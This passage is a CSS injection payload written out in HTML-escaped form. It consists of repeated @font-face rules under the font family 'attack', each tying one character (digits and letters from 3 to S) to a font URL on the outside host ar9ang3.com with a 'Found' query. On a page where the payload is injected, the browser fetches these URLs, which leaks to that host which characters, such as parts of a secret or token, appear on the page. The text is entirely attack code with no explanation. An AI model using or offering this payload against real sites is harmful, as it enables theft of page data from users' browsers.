&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:3');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0033;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:4');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0034;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:5');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0035;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:6');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0036;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:7');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0037;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:8');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0038;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:9');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0039;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:A');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0041;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:B');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0042;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:C');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0043;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:D');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0044;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:E');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0045;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:F');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0046;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:G');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0047;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:H');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0048;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:I');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0049;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:J');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+004A;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:K');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+004B;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:L');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+004C;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:M');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+004D;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:N');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+004E;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:O');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+004F;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:P');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0050;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:Q');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0051;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:R');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0052;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:S');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0053;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
